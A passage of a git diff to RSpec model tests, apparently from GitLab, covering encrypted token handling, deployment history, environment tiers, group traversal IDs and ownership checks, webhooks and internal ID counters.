+ allow(instance).to receive(:read_attribute)
+ .with('some_field_encrypted')
+ .and_return(encrypted)
- before do
- stub_feature_flags(dynamic_nonce_creation: false)
+ expect(subject.get_token(instance)).to eq 'my-value'
end
+ end
+
+ context 'when encryption is optional' do
+ let(:options) { { encrypted: :optional } }
it 'returns decrypted token when an encrypted token is present' do
allow(instance).to receive(:read_attribute)
@@ -80,6 +113,14 @@ RSpec.describe TokenAuthenticatableStrategies::Encrypted do
expect(subject.get_token(instance)).to eq 'my-value'
end
+ it 'returns decrypted token when an encrypted with static iv token is present' do
+ allow(instance).to receive(:read_attribute)
+ .with('some_field_encrypted')
+ .and_return(Gitlab::CryptoHelper.aes256_gcm_encrypt('my-test-value'))
+
+ expect(subject.get_token(instance)).to eq 'my-test-value'
+ end
+
it 'returns the plaintext token when encrypted token is not present' do
allow(instance).to receive(:read_attribute)
.with('some_field_encrypted')
@@ -93,7 +134,7 @@ RSpec.describe TokenAuthenticatableStrategies::Encrypted do
end
end
- context 'when using migration strategy' do
+ context 'when encryption is migrating' do
let(:options) { { encrypted: :migrating } }
it 'returns cleartext token when an encrypted token is present' do
@@ -123,12 +164,22 @@ RSpec.describe TokenAuthenticatableStrategies::Encrypted do
end
describe '#set_token' do
- context 'when using optional strategy' do
+ context 'when encryption is required' do
+ let(:options) { { encrypted: :required } }
+
+ it 'writes encrypted token and returns it' do
+ expect(instance).to receive(:[]=)
+ .with('some_field_encrypted', encrypted)
+
+ expect(subject.set_token(instance, 'my-value')).to eq 'my-value'
+ end
+ end
+ context 'when encryption is optional' do
let(:options) { { encrypted: :optional } }
it 'writes encrypted token and removes plaintext token and returns it' do
expect(instance).to receive(:[]=)
- .with('some_field_encrypted', any_args)
+ .with('some_field_encrypted', encrypted)
expect(instance).to receive(:[]=)
.with('some_field', nil)
@@ -136,12 +187,12 @@ RSpec.describe TokenAuthenticatableStrategies::Encrypted do
end
end
- context 'when using migration strategy' do
+ context 'when encryption is migrating' do
let(:options) { { encrypted: :migrating } }
it 'writes encrypted token and writes plaintext token' do
expect(instance).to receive(:[]=)
- .with('some_field_encrypted', any_args)
+ .with('some_field_encrypted', encrypted)
expect(instance).to receive(:[]=)
.with('some_field', 'my-value')
diff --git a/spec/models/concerns/token_authenticatable_strategies/encryption_helper_spec.rb b/spec/models/concerns/token_authenticatable_strategies/encryption_helper_spec.rb
new file mode 100644
index 00000000000..6f322a32a3b
--- /dev/null
+++ b/spec/models/concerns/token_authenticatable_strategies/encryption_helper_spec.rb
@@ -0,0 +1,27 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe TokenAuthenticatableStrategies::EncryptionHelper do
+ let(:encrypted_token) { described_class.encrypt_token('my-value') }
+
+ describe '.encrypt_token' do
+ it 'encrypts token' do
+ expect(encrypted_token).not_to eq('my-value')
+ end
+ end
+
+ describe '.decrypt_token' do
+ it 'decrypts token with static iv' do
+ expect(described_class.decrypt_token(encrypted_token)).to eq('my-value')
+ end
+
+ it 'decrypts token with dynamic iv' do
+ iv = ::Digest::SHA256.hexdigest('my-value').bytes.take(described_class::NONCE_SIZE).pack('c*')
+ token = Gitlab::CryptoHelper.aes256_gcm_encrypt('my-value', nonce: iv)
+ encrypted_token = "#{described_class::DYNAMIC_NONCE_IDENTIFIER}#{token}#{iv}"
+
+ expect(described_class.decrypt_token(encrypted_token)).to eq('my-value')
+ end
+ end
+end
diff --git a/spec/models/deploy_keys_project_spec.rb b/spec/models/deploy_keys_project_spec.rb
index ccc2c64e02c..60f4b9c55b1 100644
--- a/spec/models/deploy_keys_project_spec.rb
+++ b/spec/models/deploy_keys_project_spec.rb
@@ -26,7 +26,7 @@ RSpec.describe DeployKeysProject do
end
it "doesn't destroy the deploy key" do
- subject.destroy
+ subject.destroy!
expect { deploy_key.reload }.not_to raise_error
end
@@ -34,7 +34,7 @@ RSpec.describe DeployKeysProject do
context "when the deploy key is private" do
it "destroys the deploy key" do
- subject.destroy
+ subject.destroy!
expect { deploy_key.reload }.to raise_error(ActiveRecord::RecordNotFound)
end
@@ -49,7 +49,7 @@ RSpec.describe DeployKeysProject do
end
it "doesn't destroy the deploy key" do
- subject.destroy
+ subject.destroy!
expect { deploy_key.reload }.not_to raise_error
end
diff --git a/spec/models/deploy_token_spec.rb b/spec/models/deploy_token_spec.rb
index c7e1d5fc0d5..c8917a7dd65 100644
--- a/spec/models/deploy_token_spec.rb
+++ b/spec/models/deploy_token_spec.rb
@@ -47,7 +47,7 @@ RSpec.describe DeployToken do
describe '#ensure_token' do
it 'ensures a token' do
deploy_token.token = nil
- deploy_token.save
+ deploy_token.save!
expect(deploy_token.token).not_to be_empty
end
diff --git a/spec/models/deployment_spec.rb b/spec/models/deployment_spec.rb
index 68d12f51d4b..c9544569ad6 100644
--- a/spec/models/deployment_spec.rb
+++ b/spec/models/deployment_spec.rb
@@ -161,9 +161,9 @@ RSpec.describe Deployment do
end
end
- it 'executes Deployments::LinkMergeRequestWorker asynchronously' do
+ it 'does not execute Deployments::LinkMergeRequestWorker' do
expect(Deployments::LinkMergeRequestWorker)
- .to receive(:perform_async).with(deployment.id)
+ .not_to receive(:perform_async).with(deployment.id)
deployment.drop!
end
@@ -188,9 +188,9 @@ RSpec.describe Deployment do
end
end
- it 'executes Deployments::LinkMergeRequestWorker asynchronously' do
+ it 'does not execute Deployments::LinkMergeRequestWorker' do
expect(Deployments::LinkMergeRequestWorker)
- .to receive(:perform_async).with(deployment.id)
+ .not_to receive(:perform_async).with(deployment.id)
deployment.cancel!
end
@@ -497,7 +497,7 @@ RSpec.describe Deployment do
context 'when the SHA for the deployment does not exist in the repo' do
it 'returns false' do
- deployment.update(sha: Gitlab::Git::BLANK_SHA)
+ deployment.update!(sha: Gitlab::Git::BLANK_SHA)
commit = project.commit
expect(deployment.includes_commit?(commit)).to be false
@@ -573,15 +573,39 @@ RSpec.describe Deployment do
end
describe '#previous_deployment' do
- it 'returns the previous deployment' do
- deploy1 = create(:deployment)
- deploy2 = create(
- :deployment,
- project: deploy1.project,
- environment: deploy1.environment
- )
+ using RSpec::Parameterized::TableSyntax
- expect(deploy2.previous_deployment).to eq(deploy1)
+ let_it_be(:project) { create(:project, :repository) }
+ let_it_be(:production) { create(:environment, :production, project: project) }
+ let_it_be(:staging) { create(:environment, :staging, project: project) }
+ let_it_be(:production_deployment_1) { create(:deployment, :success, project: project, environment: production) }
+ let_it_be(:production_deployment_2) { create(:deployment, :success, project: project, environment: production) }
+ let_it_be(:production_deployment_3) { create(:deployment, :failed, project: project, environment: production) }
+ let_it_be(:production_deployment_4) { create(:deployment, :canceled, project: project, environment: production) }
+ let_it_be(:staging_deployment_1) { create(:deployment, :failed, project: project, environment: staging) }
+ let_it_be(:staging_deployment_2) { create(:deployment, :success, project: project, environment: staging) }
+ let_it_be(:production_deployment_5) { create(:deployment, :success, project: project, environment: production) }
+ let_it_be(:staging_deployment_3) { create(:deployment, :success, project: project, environment: staging) }
+
+ where(:pointer, :expected_previous_deployment) do
+ 'production_deployment_1' | nil
+ 'production_deployment_2' | 'production_deployment_1'
+ 'production_deployment_3' | 'production_deployment_2'
+ 'production_deployment_4' | 'production_deployment_2'
+ 'staging_deployment_1' | nil
+ 'staging_deployment_2' | nil
+ 'production_deployment_5' | 'production_deployment_2'
+ 'staging_deployment_3' | 'staging_deployment_2'
+ end
+
+ with_them do
+ it 'returns the previous deployment' do
+ if expected_previous_deployment.nil?
+ expect(send(pointer).previous_deployment).to eq(expected_previous_deployment)
+ else
+ expect(send(pointer).previous_deployment).to eq(send(expected_previous_deployment))
+ end
+ end
end
end
@@ -631,45 +655,6 @@ RSpec.describe Deployment do
end
end
- describe '#previous_environment_deployment' do
- it 'returns the previous deployment of the same environment' do
- deploy1 = create(:deployment, :success)
- deploy2 = create(
- :deployment,
- :success,
- project: deploy1.project,
- environment: deploy1.environment
- )
-
- expect(deploy2.previous_environment_deployment).to eq(deploy1)
- end
-
- it 'ignores deployments that were not successful' do
- deploy1 = create(:deployment, :failed)
- deploy2 = create(
- :deployment,
- :success,
- project: deploy1.project,
- environment: deploy1.environment
- )
-
- expect(deploy2.previous_environment_deployment).to be_nil
- end
-
- it 'ignores deployments for different environments' do
- deploy1 = create(:deployment, :success)
- preprod = create(:environment, project: deploy1.project, name: 'preprod')
- deploy2 = create(
- :deployment,
- :success,
- project: deploy1.project,
- environment: preprod
- )
-
- expect(deploy2.previous_environment_deployment).to be_nil
- end
- end
-
describe '#create_ref' do
let(:deployment) { build(:deployment) }
@@ -796,4 +781,30 @@ RSpec.describe Deployment do
end
end
end
+
+ describe '#update_merge_request_metrics!' do
+ let_it_be(:project) { create(:project, :repository) }
+ let(:environment) { build(:environment, environment_tier, project: project) }
+ let!(:deployment) { create(:deployment, :success, project: project, environment: environment) }
+ let!(:merge_request) { create(:merge_request, :simple, :merged_last_month, project: project) }
+
+ context 'with production environment' do
+ let(:environment_tier) { :production }
+
+ it 'updates merge request metrics for production-grade environment' do
+ expect { deployment.update_merge_request_metrics! }
+ .to change { merge_request.reload.metrics.first_deployed_to_production_at }
+ .from(nil).to(deployment.reload.finished_at)
+ end
+ end
+
+ context 'with staging environment' do
+ let(:environment_tier) { :staging }
+
+ it 'updates merge request metrics for production-grade environment' do
+ expect { deployment.update_merge_request_metrics! }
+ .not_to change { merge_request.reload.metrics.first_deployed_to_production_at }
+ end
+ end
+ end
end
diff --git a/spec/models/environment_spec.rb b/spec/models/environment_spec.rb
index e021a6cf6d3..759bb080172 100644
--- a/spec/models/environment_spec.rb
+++ b/spec/models/environment_spec.rb
@@ -302,6 +302,8 @@ RSpec.describe Environment, :use_clean_rails_memory_store_caching do
'testing' | described_class.tiers[:testing]
'testing-prd' | described_class.tiers[:testing]
'acceptance-testing' | described_class.tiers[:testing]
+ 'production-test' | described_class.tiers[:testing]
+ 'test-production' | described_class.tiers[:testing]
'QC' | described_class.tiers[:testing]
'gstg' | described_class.tiers[:staging]
'staging' | described_class.tiers[:staging]
@@ -315,6 +317,12 @@ RSpec.describe Environment, :use_clean_rails_memory_store_caching do
'gprd-cny' | described_class.tiers[:production]
'production' | described_class.tiers[:production]
'Production' | described_class.tiers[:production]
+ 'PRODUCTION' | described_class.tiers[:production]
+ 'Production/eu' | described_class.tiers[:production]
+ 'production/eu' | described_class.tiers[:production]
+ 'PRODUCTION/EU' | described_class.tiers[:production]
+ 'productioneu' | described_class.tiers[:production]
+ 'production/www.gitlab.com' | described_class.tiers[:production]
'prod' | described_class.tiers[:production]
'PROD' | described_class.tiers[:production]
'Live' | described_class.tiers[:production]
@@ -444,31 +452,6 @@ RSpec.describe Environment, :use_clean_rails_memory_store_caching do
end
end
- describe '#update_merge_request_metrics?' do
- {
- 'gprd' => false,
- 'prod' => true,
- 'prod-test' => false,
- 'PROD' => true,
- 'production' => true,
- 'production-test' => false,
- 'PRODUCTION' => true,
- 'production/eu' => true,
- 'PRODUCTION/EU' => true,
- 'production/www.gitlab.com' => true,
- 'productioneu' => false,
- 'Production' => true,
- 'Production/eu' => true,
- 'test-production' => false
- }.each do |name, expected_value|
- it "returns #{expected_value} for #{name}" do
- env = create(:environment, name: name)
-
- expect(env.update_merge_request_metrics?).to eq(expected_value), "Expected the name '#{name}' to result in #{expected_value}, but it didn't."
- end
- end
- end
-
describe '#environment_type' do
subject { environment.environment_type }
diff --git a/spec/models/event_spec.rb b/spec/models/event_spec.rb
index 47148c4febc..949e8ec0a72 100644
--- a/spec/models/event_spec.rb
+++ b/spec/models/event_spec.rb
@@ -299,11 +299,11 @@ RSpec.describe Event do
end
def visible_to_none_except(*roles)
- visible_to_none.merge(roles.map { |role| [role, true] }.to_h)
+ visible_to_none.merge(roles.to_h { |role| [role, true] })
end
def visible_to_all_except(*roles)
- visible_to_all.merge(roles.map { |role| [role, false] }.to_h)
+ visible_to_all.merge(roles.to_h { |role| [role, false] })
end
shared_examples 'visibility examples' do
@@ -723,7 +723,7 @@ RSpec.describe Event do
note_on_design: true,
note_on_commit: true
}
- valid_target_factories.map do |kind, needs_project|
+ valid_target_factories.to_h do |kind, needs_project|
extra_data = if kind == :merge_request
{ source_project: project }
elsif needs_project
@@ -735,7 +735,7 @@ RSpec.describe Event do
target = kind == :project ? nil : build(kind, **extra_data)
[kind, build(:event, :created, author: project.owner, project: project, target: target)]
- end.to_h
+ end
end
it 'passes a sanity check', :aggregate_failures do
diff --git a/spec/models/experiment_spec.rb b/spec/models/experiment_spec.rb
index 09dd1766acc..1517f426fa3 100644
--- a/spec/models/experiment_spec.rb
+++ b/spec/models/experiment_spec.rb
@@ -244,18 +244,27 @@ RSpec.describe Experiment do
context 'when no existing experiment_subject record exists for the given group' do
it 'creates an experiment_subject record' do
- expect_next(ExperimentSubject).to receive(:update!).with(variant: variant).and_call_original
-
expect { record_group_and_variant! }.to change(ExperimentSubject, :count).by(1)
+ expect(ExperimentSubject.last.variant).to eq(variant.to_s)
end
end
context 'when an existing experiment_subject exists for the given group' do
- context 'but it belonged to a different variant' do
- let!(:experiment_subject) do
- create(:experiment_subject, experiment: experiment, group: group, user: nil, variant: :experimental)
+ let_it_be(:experiment_subject) do
+ create(:experiment_subject, experiment: experiment, group: group, user: nil, variant: :experimental)
+ end
+
+ context 'when it belongs to the same variant' do
+ let(:variant) { :experimental }
+
+ it 'does not initiate a transaction' do
+ expect(ActiveRecord::Base.connection).not_to receive(:transaction)
+
+ subject
end
+ end
+ context 'but it belonged to a different variant' do
it 'updates the variant value' do
expect { record_group_and_variant! }.to change { experiment_subject.reload.variant }.to('control')
end
@@ -299,6 +308,16 @@ RSpec.describe Experiment do
expect { subject }.not_to change(ExperimentUser, :count)
end
+ context 'when group type or context did not change' do
+ let(:context) { {} }
+
+ it 'does not initiate a transaction' do
+ expect(ActiveRecord::Base.connection).not_to receive(:transaction)
+
+ subject
+ end
+ end
+
context 'but the group_type and context has changed' do
let(:group) { :experimental }
diff --git a/spec/models/group_spec.rb b/spec/models/group_spec.rb
index 24d09d1c035..2f82d8a0bbe 100644
--- a/spec/models/group_spec.rb
+++ b/spec/models/group_spec.rb
@@ -3,6 +3,8 @@
require 'spec_helper'
RSpec.describe Group do
+ include ReloadHelpers
+
let!(:group) { create(:group) }
describe 'associations' do
@@ -281,7 +283,7 @@ RSpec.describe Group do
end
describe '#two_factor_authentication_allowed' do
- let_it_be(:group) { create(:group) }
+ let_it_be_with_reload(:group) { create(:group) }
context 'for a parent group' do
it 'is valid' do
@@ -311,6 +313,120 @@ RSpec.describe Group do
end
end
+ context 'traversal_ids on create' do
+ context 'default traversal_ids' do
+ let(:group) { build(:group) }
+
+ before do
+ group.save!
+ group.reload
+ end
+
+ it { expect(group.traversal_ids).to eq [group.id] }
+ end
+
+ context 'has a parent' do
+ let(:parent) { create(:group) }
+ let(:group) { build(:group, parent: parent) }
+
+ before do
+ group.save!
+ reload_models(parent, group)
+ end
+
+ it { expect(parent.traversal_ids).to eq [parent.id] }
+ it { expect(group.traversal_ids).to eq [parent.id, group.id] }
+ end
+
+ context 'has a parent update before save' do
+ let(:parent) { create(:group) }
+ let(:group) { build(:group, parent: parent) }
+ let!(:new_grandparent) { create(:group) }
+
+ before do
+ parent.update!(parent: new_grandparent)
+ group.save!
+ reload_models(parent, group)
+ end
+
+ it 'avoid traversal_ids race condition' do
+ expect(parent.traversal_ids).to eq [new_grandparent.id, parent.id]
+ expect(group.traversal_ids).to eq [new_grandparent.id, parent.id, group.id]
+ end
+ end
+ end
+
+ context 'traversal_ids on update' do
+ context 'parent is updated' do
+ let(:new_parent) { create(:group) }
+
+ subject {group.update!(parent: new_parent, name: 'new name') }
+
+ it_behaves_like 'update on column', :traversal_ids
+ end
+
+ context 'parent is not updated' do
+ subject { group.update!(name: 'new name') }
+
+ it_behaves_like 'no update on column', :traversal_ids
+ end
+ end
+
+ context 'traversal_ids on ancestral update' do
+ context 'update multiple ancestors before save' do
+ let(:parent) { create(:group) }
+ let(:group) { create(:group, parent: parent) }
+ let!(:new_grandparent) { create(:group) }
+ let!(:new_parent) { create(:group) }
+
+ before do
+ group.parent = new_parent
+ new_parent.update!(parent: new_grandparent)
+
+ group.save!
+ reload_models(parent, group, new_grandparent, new_parent)
+ end
+
+ it 'avoids traversal_ids race condition' do
+ expect(parent.traversal_ids).to eq [parent.id]
+ expect(group.traversal_ids).to eq [new_grandparent.id, new_parent.id, group.id]
+ expect(new_grandparent.traversal_ids).to eq [new_grandparent.id]
+ expect(new_parent.traversal_ids).to eq [new_grandparent.id, new_parent.id]
+ end
+ end
+
+ context 'assigning a new parent' do
+ let!(:old_parent) { create(:group) }
+ let!(:new_parent) { create(:group) }
+ let!(:group) { create(:group, parent: old_parent) }
+
+ before do
+ group.update(parent: new_parent)
+ reload_models(old_parent, new_parent, group)
+ end
+
+ it 'updates traversal_ids' do
+ expect(group.traversal_ids).to eq [new_parent.id, group.id]
+ end
+ end
+
+ context 'assigning a new grandparent' do
+ let!(:old_grandparent) { create(:group) }
+ let!(:new_grandparent) { create(:group) }
+ let!(:parent_group) { create(:group, parent: old_grandparent) }
+ let!(:group) { create(:group, parent: parent_group) }
+
+ before do
+ parent_group.update(parent: new_grandparent)
+ end
+
+ it 'updates traversal_ids for all descendants' do
+ expect(parent_group.reload.traversal_ids).to eq [new_grandparent.id, parent_group.id]
+ expect(group.reload.traversal_ids).to eq [new_grandparent.id, parent_group.id, group.id]
+ end
+ end
+ end
+
describe '.without_integration' do
let(:another_group) { create(:group) }
let(:instance_integration) { build(:jira_service, :instance) }
@@ -565,39 +681,178 @@ RSpec.describe Group do
end
end
- describe '#last_blocked_owner?' do
- let(:blocked_user) { create(:user, :blocked) }
+ describe '#member_last_blocked_owner?' do
+ let_it_be(:blocked_user) { create(:user, :blocked) }
+
+ let(:member) { blocked_user.group_members.last }
before do
group.add_user(blocked_user, GroupMember::OWNER)
end
- it { expect(group.last_blocked_owner?(blocked_user)).to be_truthy }
+ context 'when last_blocked_owner is set' do
+ before do
+ expect(group).not_to receive(:members_with_parents)
+ end
+
+ it 'returns true' do
+ member.last_blocked_owner = true
+
+ expect(group.member_last_blocked_owner?(member)).to be(true)
+ end
+
+ it 'returns false' do
+ member.last_blocked_owner = false
+
+ expect(group.member_last_blocked_owner?(member)).to be(false)
+ end
+ end
+
+ context 'when last_blocked_owner is not set' do
+ it { expect(group.member_last_blocked_owner?(member)).to be(true) }
+
+ context 'with another active owner' do
+ before do
+ group.add_user(create(:user), GroupMember::OWNER)
+ end
+
+ it { expect(group.member_last_blocked_owner?(member)).to be(false) }
+ end
+
+ context 'with 2 blocked owners' do
+ before do
+ group.add_user(create(:user, :blocked), GroupMember::OWNER)
+ end
+
+ it { expect(group.member_last_blocked_owner?(member)).to be(false) }
+ end
+
+ context 'with owners from a parent' do
+ before do
+ parent_group = create(:group)
+ create(:group_member, :owner, group: parent_group)
+ group.update(parent: parent_group)
+ end
+
+ it { expect(group.member_last_blocked_owner?(member)).to be(false) }
+ end
+ end
+ end
+
+ context 'when analyzing blocked owners' do
+ let_it_be(:blocked_user) { create(:user, :blocked) }
+
+ describe '#single_blocked_owner?' do
+ context 'when there is only one blocked owner' do
+ before do
+ group.add_user(blocked_user, GroupMember::OWNER)
+ end
+
+ it 'returns true' do
+ expect(group.single_blocked_owner?).to eq(true)
+ end
+ end
+
+ context 'when there are multiple blocked owners' do
+ let_it_be(:blocked_user_2) { create(:user, :blocked) }
+
+ before do
+ group.add_user(blocked_user, GroupMember::OWNER)
+ group.add_user(blocked_user_2, GroupMember::OWNER)
+ end
+
+ it 'returns true' do
+ expect(group.single_blocked_owner?).to eq(false)
+ end
+ end
+
+ context 'when there are no blocked owners' do
+ it 'returns false' do
+ expect(group.single_blocked_owner?).to eq(false)
+ end
+ end
+ end
+
+ describe '#blocked_owners' do
+ let_it_be(:user) { create(:user) }
- context 'with another active owner' do
before do
- group.add_user(create(:user), GroupMember::OWNER)
+ group.add_user(blocked_user, GroupMember::OWNER)
+ group.add_user(user, GroupMember::OWNER)
end
- it { expect(group.last_blocked_owner?(blocked_user)).to be_falsy }
+ it 'has only blocked owners' do
+ expect(group.blocked_owners.map(&:user)).to match([blocked_user])
+ end
end
+ end
+
+ describe '#single_owner?' do
+ let_it_be(:user) { create(:user) }
- context 'with 2 blocked owners' do
+ context 'when there is only one owner' do
before do
- group.add_user(create(:user, :blocked), GroupMember::OWNER)
+ group.add_user(user, GroupMember::OWNER)
end
- it { expect(group.last_blocked_owner?(blocked_user)).to be_falsy }
+ it 'returns true' do
+ expect(group.single_owner?).to eq(true)
+ end
end
- context 'with owners from a parent' do
+ context 'when there are multiple owners' do
+ let_it_be(:user_2) { create(:user) }
+
before do
- parent_group = create(:group)
- create(:group_member, :owner, group: parent_group)
- group.update(parent: parent_group)
+ group.add_user(user, GroupMember::OWNER)
+ group.add_user(user_2, GroupMember::OWNER)
end
- it { expect(group.last_blocked_owner?(blocked_user)).to be_falsy }
+ it 'returns true' do
+ expect(group.single_owner?).to eq(false)
+ end
+ end
+
+ context 'when there are no owners' do
+ it 'returns false' do
+ expect(group.single_owner?).to eq(false)
+ end
+ end
+ end
+
+ describe '#member_last_owner?' do
+ let_it_be(:user) { create(:user) }
+
+ let(:member) { group.members.last }
+
+ before do
+ group.add_user(user, GroupMember::OWNER)
+ end
+
+ context 'when last_owner is set' do
+ before do
+ expect(group).not_to receive(:last_owner?)
+ end
+
+ it 'returns true' do
+ member.last_owner = true
+
+ expect(group.member_last_owner?(member)).to be(true)
+ end
+
+ it 'returns false' do
+ member.last_owner = false
+
+ expect(group.member_last_owner?(member)).to be(false)
+ end
+ end
+
+ context 'when last_owner is not set' do
+ it 'returns true' do
+ expect(group).to receive(:last_owner?).and_call_original
+
+ expect(group.member_last_owner?(member)).to be(true)
+ end
end
end
@@ -1500,30 +1755,6 @@ RSpec.describe Group do
perfectly_matched_variable])
end
end
-
- context 'when :scoped_group_variables feature flag is disabled' do
- before do
- stub_feature_flags(scoped_group_variables: false)
- end
-
- context 'when environment scope is exactly matched' do
- let(:environment_scope) { 'review/name' }
-
- it { is_expected.to contain_exactly(ci_variable) }
- end
-
- context 'when environment scope is partially matched' do
- let(:environment_scope) { 'review/*' }
-
- it { is_expected.to contain_exactly(ci_variable) }
- end
-
- context 'when environment scope does not match' do
- let(:environment_scope) { 'review/*/special' }
-
- it { is_expected.to contain_exactly(ci_variable) }
- end
- end
end
context 'when group has children' do
@@ -1838,24 +2069,28 @@ RSpec.describe Group do
end
end
- def subject_and_reload(*models)
- subject
- models.map(&:reload)
- end
-
describe '#update_shared_runners_setting!' do
context 'enabled' do
subject { group.update_shared_runners_setting!('enabled') }
context 'group that its ancestors have shared runners disabled' do
- let_it_be(:parent) { create(:group, :shared_runners_disabled) }
- let_it_be(:group) { create(:group, :shared_runners_disabled, parent: parent) }
- let_it_be(:project) { create(:project, shared_runners_enabled: false, group: group) }
+ let_it_be(:parent, reload: true) { create(:group, :shared_runners_disabled) }
+ let_it_be(:group, reload: true) { create(:group, :shared_runners_disabled, parent: parent) }
+ let_it_be(:project, reload: true) { create(:project, shared_runners_enabled: false, group: group) }
- it 'raises error and does not enable shared Runners' do
- expect { subject_and_reload(parent, group, project) }
+ it 'raises exception' do
+ expect { subject }
.to raise_error(ActiveRecord::RecordInvalid, 'Validation failed: Shared runners enabled cannot be enabled because parent group has shared Runners disabled')
- .and not_change { parent.shared_runners_enabled }
+ end
+
+ it 'does not enable shared runners' do
+ expect do
+ subject rescue nil
+
+ parent.reload
+ group.reload
+ project.reload
+ end.to not_change { parent.shared_runners_enabled }
.and not_change { group.shared_runners_enabled }
.and not_change { project.shared_runners_enabled }
end
@@ -1941,13 +2176,21 @@ RSpec.describe Group do
end
context 'when parent does not allow' do
- let_it_be(:parent) { create(:group, :shared_runners_disabled, allow_descendants_override_disabled_shared_runners: false ) }
- let_it_be(:group) { create(:group, :shared_runners_disabled, allow_descendants_override_disabled_shared_runners: false, parent: parent) }
+ let_it_be(:parent, reload: true) { create(:group, :shared_runners_disabled, allow_descendants_override_disabled_shared_runners: false ) }
+ let_it_be(:group, reload: true) { create(:group, :shared_runners_disabled, allow_descendants_override_disabled_shared_runners: false, parent: parent) }
- it 'raises error and does not allow descendants to override' do
- expect { subject_and_reload(parent, group) }
+ it 'raises exception' do
+ expect { subject }
.to raise_error(ActiveRecord::RecordInvalid, 'Validation failed: Allow descendants override disabled shared runners cannot be enabled because parent group does not allow it')
- .and not_change { parent.allow_descendants_override_disabled_shared_runners }
+ end
+
+ it 'does not allow descendants to override' do
+ expect do
+ subject rescue nil
+
+ parent.reload
+ group.reload
+ end.to not_change { parent.allow_descendants_override_disabled_shared_runners }
.and not_change { parent.shared_runners_enabled }
.and not_change { group.allow_descendants_override_disabled_shared_runners }
.and not_change { group.shared_runners_enabled }
@@ -2104,4 +2347,18 @@ RSpec.describe Group do
it_behaves_like 'model with Debian distributions'
end
+
+ describe '.ids_with_disabled_email' do
+ let!(:parent_1) { create(:group, emails_disabled: true) }
+ let!(:child_1) { create(:group, parent: parent_1) }
+
+ let!(:parent_2) { create(:group, emails_disabled: false) }
+ let!(:child_2) { create(:group, parent: parent_2) }
+
+ let!(:other_group) { create(:group, emails_disabled: false) }
+
+ subject(:group_ids_where_email_is_disabled) { described_class.ids_with_disabled_email([child_1, child_2, other_group]) }
+
+ it { is_expected.to eq(Set.new([child_1.id])) }
+ end
end
diff --git a/spec/models/hooks/system_hook_spec.rb b/spec/models/hooks/system_hook_spec.rb
index e56d08c1847..02e630cbf27 100644
--- a/spec/models/hooks/system_hook_spec.rb
+++ b/spec/models/hooks/system_hook_spec.rb
@@ -56,7 +56,7 @@ RSpec.describe SystemHook do
end
it "user_destroy hook" do
- user.destroy
+ user.destroy!
expect(WebMock).to have_requested(:post, system_hook.url).with(
body: /user_destroy/,
@@ -102,7 +102,7 @@ RSpec.describe SystemHook do
end
it 'group destroy hook' do
- group.destroy
+ group.destroy!
expect(WebMock).to have_requested(:post, system_hook.url).with(
body: /group_destroy/,
diff --git a/spec/models/hooks/web_hook_spec.rb b/spec/models/hooks/web_hook_spec.rb
index 3fc1ad6eb0d..413e69fb071 100644
--- a/spec/models/hooks/web_hook_spec.rb
+++ b/spec/models/hooks/web_hook_spec.rb
@@ -26,7 +26,7 @@ RSpec.describe WebHook do
it 'strips :url before saving it' do
hook.url = ' https://example.com '
- hook.save
+ hook.save!
expect(hook.url).to eq('https://example.com')
end
@@ -45,14 +45,14 @@ RSpec.describe WebHook do
it 'gets rid of whitespace' do
hook.push_events_branch_filter = ' branch '
- hook.save
+ hook.save!
expect(hook.push_events_branch_filter).to eq('branch')
end
it 'stores whitespace only as empty' do
hook.push_events_branch_filter = ' '
- hook.save
+ hook.save!
expect(hook.push_events_branch_filter).to eq('')
end
@@ -91,7 +91,7 @@ RSpec.describe WebHook do
web_hook = create(:project_hook)
create_list(:web_hook_log, 3, web_hook: web_hook)
- expect { web_hook.destroy }.to change(web_hook.web_hook_logs, :count).by(-3)
+ expect { web_hook.destroy! }.to change(web_hook.web_hook_logs, :count).by(-3)
end
end
end
diff --git a/spec/models/integration_spec.rb b/spec/models/integration_spec.rb
index d89b323f525..781e2aece56 100644
--- a/spec/models/integration_spec.rb
+++ b/spec/models/integration_spec.rb
@@ -6,23 +6,28 @@ RSpec.describe Integration do
let_it_be(:project_1) { create(:project) }
let_it_be(:project_2) { create(:project) }
let_it_be(:project_3) { create(:project) }
+ let_it_be(:project_4) { create(:project) }
let_it_be(:instance_integration) { create(:jira_service, :instance) }
before do
create(:jira_service, project: project_1, inherit_from_id: instance_integration.id)
create(:jira_service, project: project_2, inherit_from_id: nil)
- create(:slack_service, project: project_3, inherit_from_id: nil)
+ create(:jira_service, group: create(:group), project: nil, inherit_from_id: nil)
+ create(:jira_service, project: project_3, inherit_from_id: nil)
+ create(:slack_service, project: project_4, inherit_from_id: nil)
end
describe '.with_custom_integration_for' do
it 'returns projects with custom integrations' do
- expect(Project.with_custom_integration_for(instance_integration)).to contain_exactly(project_2)
+ # We use pagination to verify that the group is excluded from the query
+ expect(Project.with_custom_integration_for(instance_integration, 0, 2)).to contain_exactly(project_2, project_3)
+ expect(Project.with_custom_integration_for(instance_integration)).to contain_exactly(project_2, project_3)
end
end
describe '.without_integration' do
it 'returns projects without integration' do
- expect(Project.without_integration(instance_integration)).to contain_exactly(project_3)
+ expect(Project.without_integration(instance_integration)).to contain_exactly(project_4)
end
end
end
diff --git a/spec/models/internal_id_spec.rb b/spec/models/internal_id_spec.rb
index 07f62b9de55..981245627af 100644
--- a/spec/models/internal_id_spec.rb
+++ b/spec/models/internal_id_spec.rb
@@ -97,6 +97,25 @@ RSpec.describe InternalId do
expect(subject).to eq(1)
end
end
+
+ context 'when executed outside of transaction' do
+ it 'increments counter with in_transaction: "false"' do
+ expect(ActiveRecord::Base.connection).to receive(:transaction_open?) { false }
+ expect(InternalId::InternalIdGenerator.internal_id_transactions_total).to receive(:increment)
+ .with(operation: :generate, usage: 'issues', in_transaction: 'false').and_call_original
+
+ subject
+ end
+ end
+
+ context 'when executed within transaction' do
+ it 'increments counter with in_transaction: "true"' do
+ expect(InternalId::InternalIdGenerator.internal_id_transactions_total).to receive(:increment)
+ .with(operation: :generate, usage: 'issues', in_transaction: 'true').and_call_original
+
+ InternalId.transaction { subject }
+ end
+ end
end
describe '.reset' do
@@ -134,6 +153,29 @@ RSpec.describe InternalId do
described_class.generate_next(issue, scope, usage, init)
end
end
+
+ context 'when executed outside of transaction' do
+ let(:value) { 2 }
+
+ it 'increments counter with in_transaction: "false"' do
+ expect(ActiveRecord::Base.connection).to receive(:transaction_open?) { false }
+ expect(InternalId::InternalIdGenerator.internal_id_transactions_total).to receive(:increment)
